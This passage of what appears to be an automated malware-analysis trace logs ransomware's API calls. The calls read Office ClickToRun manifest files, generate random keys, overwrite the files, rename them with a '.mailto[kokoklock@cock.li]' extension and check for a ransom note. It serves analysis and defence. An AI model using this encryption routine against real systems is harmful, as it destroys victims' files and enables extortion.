Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.029] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.029] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c3a0) returned 1 [0074.029] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.030] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.030] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.030] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.030] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e58e8) returned 1 [0074.030] RtlExitUserThread (Status=0x1) Thread: id = 605 os_tid = 0x1330 [0073.622] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 0x20 [0073.623] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.623] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x938 [0073.623] GetFileSizeEx (in: hFile=0x938, lpFileSize=0x17c3fa08 | out: lpFileSize=0x17c3fa08*=104348) returned 1 [0073.623] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x19798, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.623] ReadFile (in: hFile=0x938, lpBuffer=0x17c3f9dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x17c3f9dc*, lpNumberOfBytesRead=0x17c3f9d8*=0x4, lpOverlapped=0x0) returned 1 [0073.805] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5a0 [0073.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e410 [0073.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e2a8 [0073.806] NtQuerySystemTime (in: CurrentTime=0x17c3f9b4 | out: CurrentTime=0x17c3f9b4*=132121176317065406) returned 0x0 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x56eff273 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x15b43772 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x71c32b43 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x1923a7a8 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x805352ac [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x8dfcc71c [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x33dd4691 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x33eba4dc [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xe8c4c5cf [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xfe6c4b23 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x512663cd [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xf8874ab8 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xa2b6d1eb [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xd45b6afd [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xfbb59aef [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xac3daeb8 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x8f350348 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x37c299bd [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xb01d5225 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x8f89b91c [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x6ab35b62 [0073.806] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xecbffcea [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x9cdb7327 [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x355e540c [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x6970c53f [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xe7c18689 [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x70f5c289 [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xcb905eb0 [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x3319cb3b [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xcc89ead3 [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0x85f6132d [0073.807] RtlRandom (in: Seed=0x17c3f9c0 | out: Seed=0x17c3f9c0) returned 0xc938714f [0073.819] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.819] ReadFile (in: hFile=0x938, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17c3f98c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x17c3f98c*=0x4096, lpOverlapped=0x0) returned 1 [0073.911] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdaf0 [0073.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0073.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d40f0 [0073.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e500 [0073.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e500) returned 1 [0073.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0073.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaf0) returned 1 [0073.912] WriteFile (in: hFile=0x938, lpBuffer=0x55d40f0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17c3f98c, lpOverlapped=0x0 | out: lpBuffer=0x55d40f0*, lpNumberOfBytesWritten=0x17c3f98c*=0x4096, lpOverlapped=0x0) returned 1 [0073.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d40f0) returned 1 [0073.913] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x1979c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17c3f9c4, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x17c3f9c4*=0x20, lpOverlapped=0x0) returned 1 [0073.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x17c3f9d8*=0x8, lpOverlapped=0x0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x17c3f9f0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x17c3f9f0*, lpNumberOfBytesWritten=0x17c3f9d8*=0x4, lpOverlapped=0x0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17c3f9d8*=0x4, lpOverlapped=0x0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17c3f9d8*=0x6c, lpOverlapped=0x0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x341e410*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x341e410*, lpNumberOfBytesWritten=0x17c3f9d8*=0x20, lpOverlapped=0x0) returned 1 [0073.913] WriteFile (in: hFile=0x938, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17c3f9d8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17c3f9d8*=0x4, lpOverlapped=0x0) returned 1 [0073.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e410) returned 1 [0073.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0073.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.914] CloseHandle (hObject=0x938) returned 1 [0073.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x341a428 [0073.914] wcscpy (in: _Dest=0x341a428, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" [0073.914] wcscat (in: _Dest=0x341a428, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.914] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.031] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a428) returned 1 [0074.031] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.032] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.032] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.032] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341df18) returned 1 [0074.036] RtlExitUserThread (Status=0x1) Thread: id = 606 os_tid = 0x1354 [0073.624] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 0x20 [0073.625] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.625] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93c [0073.625] GetFileSizeEx (in: hFile=0x93c, lpFileSize=0x17cbfb50 | out: lpFileSize=0x17cbfb50*=23444) returned 1 [0073.625] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x5b90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.625] ReadFile (in: hFile=0x93c, lpBuffer=0x17cbfb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x17cbfb24*, lpNumberOfBytesRead=0x17cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0073.847] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e348 [0073.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1b8 [0073.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5a0 [0073.848] NtQuerySystemTime (in: CurrentTime=0x17cbfafc | out: CurrentTime=0x17cbfafc*=132121176317377730) returned 0x0 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xde2c83e4 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x47395f4f [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x66d09e43 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xf24d5610 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x70f36a26 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x49a31d45 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x43a3eb0e [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x75bd0526 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xfc925096 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xfbac761b [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xadef9f42 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x5809bbd [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xc4b057ff [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x5128cdb0 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xeac2e8f5 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x69fa1d9a [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x53aed942 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x2f1b7c70 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xf3d2a93a [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xf4c1c232 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xa986fa8f [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x71f483b8 [0073.848] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x9a09c6f0 [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xf6e2fa1e [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x90f001d3 [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x22613e46 [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x6f66d585 [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x1479c7af [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xe91f3ccd [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xe02bfebc [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0xd7f9f9c7 [0073.849] RtlRandom (in: Seed=0x17cbfb08 | out: Seed=0x17cbfb08) returned 0x9f76f932 [0073.863] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.864] ReadFile (in: hFile=0x93c, lpBuffer=0x34ae550, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17cbfad4, lpOverlapped=0x0 | out: lpBuffer=0x34ae550*, lpNumberOfBytesRead=0x17cbfad4*=0x4096, lpOverlapped=0x0) returned 1 [0073.943] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0073.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.943] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e3f8 [0073.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0073.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0073.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0073.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.944] WriteFile (in: hFile=0x93c, lpBuffer=0x348e3f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17cbfad4, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesWritten=0x17cbfad4*=0x4096, lpOverlapped=0x0) returned 1 [0073.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.944] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x5b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.944] WriteFile (in: hFile=0x93c, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17cbfb0c, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x17cbfb0c*=0x20, lpOverlapped=0x0) returned 1 [0073.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0073.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae550) returned 1 [0073.944] WriteFile (in: hFile=0x93c, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x17cbfb20*=0x8, lpOverlapped=0x0) returned 1 [0073.945] WriteFile (in: hFile=0x93c, lpBuffer=0x17cbfb38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x17cbfb38*, lpNumberOfBytesWritten=0x17cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0073.945] WriteFile (in: hFile=0x93c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0073.945] WriteFile (in: hFile=0x93c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17cbfb20*=0x6c, lpOverlapped=0x0) returned 1 [0073.945] WriteFile (in: hFile=0x93c, lpBuffer=0x341e1b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x341e1b8*, lpNumberOfBytesWritten=0x17cbfb20*=0x20, lpOverlapped=0x0) returned 1 [0073.945] WriteFile (in: hFile=0x93c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17cbfb20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17cbfb20*=0x4, lpOverlapped=0x0) returned 1 [0073.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1b8) returned 1 [0073.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0073.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0073.945] CloseHandle (hObject=0x93c) returned 1 [0073.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12a) returned 0x341ffb0 [0073.945] wcscpy (in: _Dest=0x341ffb0, _Source="C:\\Users\\All 